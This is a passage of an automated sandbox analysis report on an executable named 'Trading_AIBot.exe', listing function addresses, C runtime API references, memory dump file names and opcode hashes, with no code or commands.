__lock.LIBCMT ref: 00414008
InterlockedDecrement.KERNEL32(?), ref: 00414025
InterlockedIncrement.KERNEL32(00422910), ref: 00414050

Memory Dump Source

Source File: 0000000A.00000001.2446233147.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000001.2446233147.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000001.2446233147.000000000045A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_1_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: 75ed1ba79165a940210d4fbe753a496d3ed1b888d754918a7527295a16311c61
Instruction ID: 77fb08d543caf33888dccec20a3998fa005b1348dfeb798e4aa279577202aa48
Opcode Fuzzy Hash: 75ed1ba79165a940210d4fbe753a496d3ed1b888d754918a7527295a16311c61
Instruction Fuzzy Hash: 9301A531A01621ABD724AF67990579E7B60AF48764F50442BE814B72D0C77C6DC2CBDD

Function 00413610 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(KERNEL32,0040CDF5), ref: 00413615
GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 00413625

Strings

IsProcessorFeaturePresent, xrefs: 0041361F
KERNEL32, xrefs: 00413610

Memory Dump Source

Source File: 0000000A.00000001.2446233147.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000001.2446233147.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000001.2446233147.000000000045A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_1_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: IsProcessorFeaturePresent$KERNEL32
API String ID: 1646373207-3105848591
Opcode ID: 118b5162a474c003ae69c9300a13838c9d8123de4a3b48a289e819fb4020d245
Instruction ID: 3bb3582238f4ecb0ba7b9e8fe578e45fdcf0af3c55e5dfe2a5e3893bc0ad87fb
Opcode Fuzzy Hash: 118b5162a474c003ae69c9300a13838c9d8123de4a3b48a289e819fb4020d245
Instruction Fuzzy Hash: 96F06230600A09E2DB105FA1ED1E2EFBB74BB80746F5101A19196B0194DF38D0B6825A

Function 0040C748 Relevance: 6.1, APIs: 4, Instructions: 148COMMONLIBRARYCODE

Download Yara Rule

APIs

__fileno.LIBCMT ref: 0040C77C
__locking.LIBCMT ref: 0040C791

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F

Memory Dump Source

Source File: 0000000A.00000001.2446233147.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000001.2446233147.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000001.2446233147.000000000045A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_1_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: __decode_pointer__fileno__getptd_noexit__locking
String ID:
API String ID: 2395185920-0
Opcode ID: a22d1fa1ad15e425548c743ff76317c9d1fdeb5a65110bd21edd49740b19d0ba
Instruction ID: 30055f4621fb528cea72007990449f1feb1a7f288d573051c200dc5e1a244c20
Opcode Fuzzy Hash: a22d1fa1ad15e425548c743ff76317c9d1fdeb5a65110bd21edd49740b19d0ba
Instruction Fuzzy Hash: CC51CF72E00209EBDB10AF69C9C0B59BBA1AF01355F14C27AD915B73D1D378AE41DB8D

Function 00405D00 Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00405D54
_memset.LIBCMT ref: 00405D6F
_fseek.LIBCMT ref: 00405DDD

Memory Dump Source

Source File: 0000000A.00000001.2446233147.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000001.2446233147.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000001.2446233147.000000000045A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_1_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: _fseek_malloc_memset
String ID:
API String ID: 208892515-0
Opcode ID: 9fe2477137ff98b8fe919820eb2b1ff53dfeab7efe35faa63f44dd20cd1a70ab
Instruction ID: b5a371ba5f9a3ad1fa090fb1a89082137fe8d6c03bc5c52cd66242ccf2a60741
Opcode Fuzzy Hash: 9fe2477137ff98b8fe919820eb2b1ff53dfeab7efe35faa63f44dd20cd1a70ab
Instruction Fuzzy Hash: 3541A572600F018AD630972EE804B2772E5DF90364F140A3FE9E6E27D5E738E9458F89

Function 0040BAAA Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

APIs

__flush.LIBCMT ref: 0040BB6E
__fileno.LIBCMT ref: 0040BB8E
__locking.LIBCMT ref: 0040BB95
__flsbuf.LIBCMT ref: 0040BBC0

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F

Memory Dump Source

Source File: 0000000A.00000001.2446233147.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000001.2446233147.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000001.2446233147.000000000045A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_1_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: __decode_pointer__fileno__flsbuf__flush__getptd_noexit__locking
String ID:
API String ID: 3240763771-0
Opcode ID: ce0de872f2bf1c80b5409081606229fa9c8f65028ffa0700073288fbc1af180c
Instruction ID: 72eaa501f89e5d914343e0f007c81726c853b1270fdaa85e4c7363b387074608
Opcode Fuzzy Hash: ce0de872f2bf1c80b5409081606229fa9c8f65028ffa0700073288fbc1af180c
Instruction Fuzzy Hash: B441A331A006059BDF249F6A88855AFB7B5EF80320F24853EE465B76C4D778EE41CB8C

Function 0041529F Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 004152D3
__isleadbyte_l.LIBCMT ref: 00415307
MultiByteToWideChar.KERNEL32(00000080,00000009,?,?,?,00000000,?,?,?,?), ref: 00415338
MultiByteToWideChar.KERNEL32(00000080,00000009,?,00000001,?,00000000,?,?,?,?), ref: 004153A6

Memory Dump Source

Source File: 0000000A.00000001.2446233147.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000001.2446233147.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000001.2446233147.000000000045A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_1_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 2839bf6a935194de417e4e3b9e78947074703b487fc663d1488f120054b34ef5
Instruction ID: 094900ada7e667e90e346a2540d450e67f5821ec0926a3c2ae07879bc245b0d1
Opcode Fuzzy Hash: 2839bf6a935194de417e4e3b9e78947074703b487fc663d1488f120054b34ef5
Instruction Fuzzy Hash: 1831A032A00649EFDB20DFA4C8809EE7BB5EF41350B1885AAE8659B291D374DD80DF59

Function 004134DB Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 00413501

Part of subcall function 00413326: __fltout2.LIBCMT ref: 00413352

__cftog_l.LIBCMT ref: 00413527
__cftoe_l.LIBCMT ref: 00413559

Memory Dump Source

Source File: 0000000A.00000001.2446233147.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000001.2446233147.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000001.2446233147.000000000045A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_1_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: bfd0e68975b3765f24e543ba70b005e9871d43ed2f52156b65e62ceec70126f9
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: DA117E7200014EBBCF125E85CC418EE3F27BF18755B58841AFE2858130D73BCAB2AB89

Analysis Process: Trading_AIBot.exePID: 4064, Parent PID: 1012COMMON

Executed Functions

Function 00F17A7A Relevance: .2, Instructions: 203COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2946362734.0000000000F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f10000_Trading_AIBot.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc9421f933c42fd5c837d7fc24b3c58c9f270b4b5a219e37eb9db22c4441bd0f
Instruction ID: 0f4e3b0ea1621cee83806093548d8c9b784071653052c7a40cb1fa69af2c3518
Opcode Fuzzy Hash: dc9421f933c42fd5c837d7fc24b3c58c9f270b4b5a219e37eb9db22c4441bd0f
Instruction Fuzzy Hash: 42812270D01248CFDB14EFA4D990AEDBBB2FF8A300F2081A9D549AB265DB355D86CF40

Function 00F17E4C Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2946362734.0000000000F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f10000_Trading_AIBot.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f695f95790b549fc26a59fe2e8f6441bee431435a6215ade9505cf7f75d6da99
Instruction ID: 58b99677c9c12783d26ce77be92223690f3cf5244b0ba5295acb6190e37e85d2
Opcode Fuzzy Hash: f695f95790b549fc26a59fe2e8f6441bee431435a6215ade9505cf7f75d6da99
Instruction Fuzzy Hash: 1641BCB4D04348DFDB10DFAAC994ADEFBF1AF49310F24802AE409AB250D7749986CF54

Function 00F17E58 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2946362734.0000000000F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f10000_Trading_AIBot.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5759dd77b6df311e9640f7b6d8a2dc620e53382801d2fcbdf4958e4c194e6a7
Instruction ID: 29b699e79e1bb73b0a4c213931b7dbc8f7b0052478998707e575e89d564faf99
Opcode Fuzzy Hash: a5759dd77b6df311e9640f7b6d8a2dc620e53382801d2fcbdf4958e4c194e6a7
Instruction Fuzzy Hash: CA41BAB4D04348DFDB14DFAAC884ADEFBF5AF48310F24802AE419AB254D7749986DF54

Function 00F15348 Relevance: .9, Instructions: 945COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2946362734.0000000000F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f10000_Trading_AIBot.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07dbd715ef860a15bdf98b33b2585aa075cc7919772752a85b3359caa4e29ad3
Instruction ID: d86d923e1bdd06060999afe8c67fd8970ca6acf23edd6d76b419a984e27bf8db
Opcode Fuzzy Hash: 07dbd715ef860a15bdf98b33b2585aa075cc7919772752a85b3359caa4e29ad3
Instruction Fuzzy Hash: 9EB2D070E02218DFDB64EF64C994BADBBB2BB49300F5085E9E409AB665DB345EC1DF40

Function 00F15358 Relevance: .9, Instructions: 935COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2946362734.0000000000F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f10000_Trading_AIBot.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: daff405b5a106077a34f353da334376c08fbd023ac5663d41af63fd080bf21ea
Instruction ID: aec0bdc6b9bf0fb6a22ecbb3e9c9a2ef98445bf833e29056e8ed382307067ab2
Opcode Fuzzy Hash: daff405b5a106077a34f353da334376c08fbd023ac5663d41af63fd080bf21ea
Instruction Fuzzy Hash: AEB2D070E02228DFDB64EF64C994BADB7B2BB49300F5085E9E409AB664DB345EC1DF40

Function 00F1078D Relevance: .6, Instructions: 649COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2946362734.0000000000F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f10000_Trading_AIBot.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 062cd31193b8b29df1933c9ac4689dd3ee3e05cc4f8598bc9b26ea59c4b85fb2
Instruction ID: e152ea08ae59482e1b50a6865caa3994ead56324d028015125c47a879599fd79
Opcode Fuzzy Hash: 062cd31193b8b29df1933c9ac4689dd3ee3e05cc4f8598bc9b26ea59c4b85fb2
Instruction Fuzzy Hash: 5072CC74A01259DFDB64EF64DA94B9DBBB2FF4A301F1080AAD509AB361DB305E81CF50

Function 00F10848 Relevance: .6, Instructions: 601COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2946362734.0000000000F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f10000_Trading_AIBot.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb65fe18aececa60194f903c624968cf4f1d53ccfd62b6c0e83fd6881b56c33f
Instruction ID: c990aeb7975e2fe1580b16fe9cd75519e7ca8a9e40bf83d68b0cb4a0c7cc9ee6
Opcode Fuzzy Hash: eb65fe18aececa60194f903c624968cf4f1d53ccfd62b6c0e83fd6881b56c33f
Instruction Fuzzy Hash: 3662AB74E01259DFDB64EF64DA94B9DBBB2BF89301F1080AAD509AB360DB315E81CF50

Function 00F177C1 Relevance: .3, Instructions: 339COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2946362734.0000000000F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f10000_Trading_AIBot.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0dbd74da03b56f4353fbfe626fa702747a1c4a5ca428a943c6c3a66d91a02a53
Instruction ID: aab1aa192ea906de9a35b2bf2fdc961591fe97fb271d65cbdbd7c923354a7d31
Opcode Fuzzy Hash: 0dbd74da03b56f4353fbfe626fa702747a1c4a5ca428a943c6c3a66d91a02a53
Instruction Fuzzy Hash: 67E04F6184D3C05FC3238BB45C656B87F749F17121B2801CAD4D59B1B3D5250957E752

Function 00F167E0 Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2946362734.0000000000F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f10000_Trading_AIBot.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 573880d9ffe7248c14e0805cb51d0aef92aa2bac6f6b3d373bcea2144b958783
Instruction ID: 2f2923bc11a5a9bb7fc5b49ed2e233a19549380a7c2129103db8b44f0cc2795b
Opcode Fuzzy Hash: 573880d9ffe7248c14e0805cb51d0aef92aa2bac6f6b3d373bcea2144b958783
Instruction Fuzzy Hash: 9EB1CB74E02228CFEB64DF28C994B9DBBB2BB49304F1085AAD40DA7351DB306E85CF51

Function 00F17178 Relevance: .2, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2946362734.0000000000F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f10000_Trading_AIBot.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d44595d7c8f0e91a0210fb972cc1e8ab56e818b6fd9ac92ed9a40ed59192c9d7
Instruction ID: 0049bbde78e6e82e986b98f75fc1adcb222060b66aad12c10e13ae238e532d84
Opcode Fuzzy Hash: d44595d7c8f0e91a0210fb972cc1e8ab56e818b6fd9ac92ed9a40ed59192c9d7
Instruction Fuzzy Hash: 7251D678A00248CFCB44DFA9D994A9DBBF2FF49311F108169E819AB365DB31AC46CF14

Function 00F165B0 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2946362734.0000000000F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f10000_Trading_AIBot.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e64c8220e98147e279fdac80199c63b387e484a5f1830239126ac5fbe63895f6
Instruction ID: ee36d9e862749cbb88a5c23af744ea7266372dd866424142120b9e68a0767610
Opcode Fuzzy Hash: e64c8220e98147e279fdac80199c63b387e484a5f1830239126ac5fbe63895f6
Instruction Fuzzy Hash: 8E51E078D05248DFDB04DFA8D5946EDBBF1BF49304F10802AE429AB3A5DB345982EF50

Function 00F17CF6 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2946362734.0000000000F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f10000_Trading_AIBot.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c7e59d6099115833bc6db54427c21e33b2586786fa90535a6193f339dca7dc4
Instruction ID: 61d254fbd1d723deff08dbb9a1e74b2442894bac5a5f24e8d44c4bc5c6cb2202
Opcode Fuzzy Hash: 0c7e59d6099115833bc6db54427c21e33b2586786fa90535a6193f339dca7dc4
Instruction Fuzzy Hash: 814100B0D04389DFDB15DFA9C884ADEFBF2AF49310F24846AD408AB261C7756886DF50

Function 00F174F2 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2946362734.0000000000F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f10000_Trading_AIBot.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5df9320ed0e5658c4b696ee5bbaa5b1a9d25e93dd71797d91c423db64738e62
Instruction ID: 0a96d57e19c6bbc6ec642b56e183d94cd88452e1030ebf7049fd000ad5a9a92a
Opcode Fuzzy Hash: b5df9320ed0e5658c4b696ee5bbaa5b1a9d25e93dd71797d91c423db64738e62
Instruction Fuzzy Hash: DF41E175E012089FCB04DFA9D894AEEBBF2BF89301F14806AE515A73A0DB345941CFA0

Function 00F17D08 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2946362734.0000000000F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f10000_Trading_AIBot.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 566d2e7ddea810de44959763314b7f5b3c8ddc6e872fdf32aba5caeca95f5ef4
Instruction ID: 27335877a25837420ce565893580873947faa44687bbb82df7fff87b1bfdd6fa
Opcode Fuzzy Hash: 566d2e7ddea810de44959763314b7f5b3c8ddc6e872fdf32aba5caeca95f5ef4
Instruction Fuzzy Hash: 4041ACB0D04348DFDB14DFAAD984ADEBBF5AF48310F24842AE419AB250DB759885DF50

Function 00F173A0 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2946362734.0000000000F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f10000_Trading_AIBot.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20d4b79e1578c0cb0dcb7a5a2874f97c8c29871b7b34610c730e0bbbfdcd020a
Instruction ID: 10a206640330fdee4f4ce88530b20cad7c19847b3cc7f5d6f0eafab0178a9900
Opcode Fuzzy Hash: 20d4b79e1578c0cb0dcb7a5a2874f97c8c29871b7b34610c730e0bbbfdcd020a
Instruction Fuzzy Hash: 5F311470E012498FCB05DBB4C9919EEBBB2BF8A304F2084AAD415BB794CB355D42CF64

Function 00F173B0 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2946362734.0000000000F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f10000_Trading_AIBot.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13b107652be3739783f7365a653be151008d40b65902e0d9291e4cccf98a6588
Instruction ID: 6754fa526026f59c9cb56eb803e077d03070d883b63bd020940c62ec27ee5fac
Opcode Fuzzy Hash: 13b107652be3739783f7365a653be151008d40b65902e0d9291e4cccf98a6588
Instruction Fuzzy Hash: C121F470E012098FCB08DFA5D9419EEB7B2BF89305F609469D515B7394CB365D41CF64

Function 00F151F7 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2946362734.0000000000F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f10000_Trading_AIBot.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1afce4527d752122e427dba87559a3d8046cb5c8ed885d38807ea22ff7ad1f11
Instruction ID: 3bc5e85f8e337be49769e9442ba2cf8d158a2998206cd9724a007a4358a98df9
Opcode Fuzzy Hash: 1afce4527d752122e427dba87559a3d8046cb5c8ed885d38807ea22ff7ad1f11
Instruction Fuzzy Hash: 07216A719093859FC7029FB4D8593EE7FB0EF47311F0848DAC081A72A2C7780695EB51

Function 00F15238 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2946362734.0000000000F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f10000_Trading_AIBot.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21088025945a4878899186a75c827642fa327e4b0b882fcf632166cb07a179b7
Instruction ID: 64c2f8b73aed7a5ceed9963186839495fa621d202a3d34f43d6f3c08c984c575
Opcode Fuzzy Hash: 21088025945a4878899186a75c827642fa327e4b0b882fcf632166cb07a179b7
Instruction Fuzzy Hash: CF012875D05319DFDB04EFB4D5583EEBBB0EF46312F0098AA9415A3290DB780A84EFA1

Function 00F17499 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2946362734.0000000000F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f10000_Trading_AIBot.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f769e489d3cfc0487881ad7cfd63d9a76df09a5a367bc48aa3e8c83656083093
Instruction ID: f74a7a7c64a1c81376b8471385c7a748604d7dc3b1d6453d7f64d18771e319ad
Opcode Fuzzy Hash: f769e489d3cfc0487881ad7cfd63d9a76df09a5a367bc48aa3e8c83656083093
Instruction Fuzzy Hash: 88F0BEB48052849FC702EFB8D695AA87FB0EF0B210F1040DAD848E7762C7304D83CB00

Function 00F16C3E Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2946362734.0000000000F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f10000_Trading_AIBot.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32b2b1fe1dc77e2b8f2f23bc58270bd7ffc75ec50d4166bc75552c3af2a79a47
Instruction ID: a3f1362cddbb37c07c239b8c21fc46f601b8070a3d7ef9e444abddd7cdf050dc
Opcode Fuzzy Hash: 32b2b1fe1dc77e2b8f2f23bc58270bd7ffc75ec50d4166bc75552c3af2a79a47
Instruction Fuzzy Hash: D1F0F878D44155CFCB64DFA4E5586ACBBB0EF4A312F0064A6D44AE3260CB3099C5DF64

Function 00F16757 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2946362734.0000000000F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f10000_Trading_AIBot.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 177a1cde5f67287e9fa18ff2bd52e829d8608e9bd68d1eb9c19fc8d97ed181ae
Instruction ID: 17fc2057aed0cf88e9fc2803b9fdd0d82b6ab668bcd0df412210af2a1622bde9
Opcode Fuzzy Hash: 177a1cde5f67287e9fa18ff2bd52e829d8608e9bd68d1eb9c19fc8d97ed181ae
Instruction Fuzzy Hash: A9E0223090128ACFD705DF60E6A57DD7B78EF16304F00418A984957A92CB351F40EB61

Function 00F174A8 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2946362734.0000000000F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f10000_Trading_AIBot.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d23ed2f699f0d8b49bef4412443bd3ad2b9e5c0471cbe257286ec885a1be3d2
Instruction ID: d5c09da4b48e86082a128f28e85537281bf70b64ccbbde2f4f54f45f6c88d160
Opcode Fuzzy Hash: 2d23ed2f699f0d8b49bef4412443bd3ad2b9e5c0471cbe257286ec885a1be3d2
Instruction Fuzzy Hash: C3E01AB8D10208DFC744EF78EA88A59BBF4FB09315F1041AAD808D3361E7309D86DB90

Function 00F16768 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2946362734.0000000000F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f10000_Trading_AIBot.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de37d8d8a6674577705528664f333139856941bc8044774a42c913570765f193
Instruction ID: f6b45d0ee23ebcdc673b100ab1676fa25fbb4b5236c1f3e85f898db16c0140be
Opcode Fuzzy Hash: de37d8d8a6674577705528664f333139856941bc8044774a42c913570765f193
Instruction Fuzzy Hash: 1DE08671901208DFD700EFB8E65579DB7B9EB05305F108569D409D3251DB711E40E790

Function 00F16D40 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2946362734.0000000000F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f10000_Trading_AIBot.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27554c07b22917ccbbcc14f6cb1ffa76c5d60781bf6a6a3f31cc5f0fe95778e1
Instruction ID: 2b801a699b9dbbad1ec03d9c44717c63c54991e9ea5279697980ae6578c2e372
Opcode Fuzzy Hash: 27554c07b22917ccbbcc14f6cb1ffa76c5d60781bf6a6a3f31cc5f0fe95778e1
Instruction Fuzzy Hash: 26D02B30D4D3C28FC7228B607884BA07F389F03211F0406C2D094865B283640499D366

Function 00F17A50 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2946362734.0000000000F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f10000_Trading_AIBot.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24b33cd2768f2c919270109cad3f56d99469878f5886cfa0cae62aa9f28ff847
Instruction ID: 4fae840a884947eb82df0758d40433010fd776b72119ddb560e99657ad24be9e
Opcode Fuzzy Hash: 24b33cd2768f2c919270109cad3f56d99469878f5886cfa0cae62aa9f28ff847
Instruction Fuzzy Hash: F1C01271C453089BD2109FA5A804769767CEF02622F100158A5189225097714590A6A9

Function 00F16D50 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2946362734.0000000000F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F10000, based on PE: false

Joe Sandbox IDA Plugin

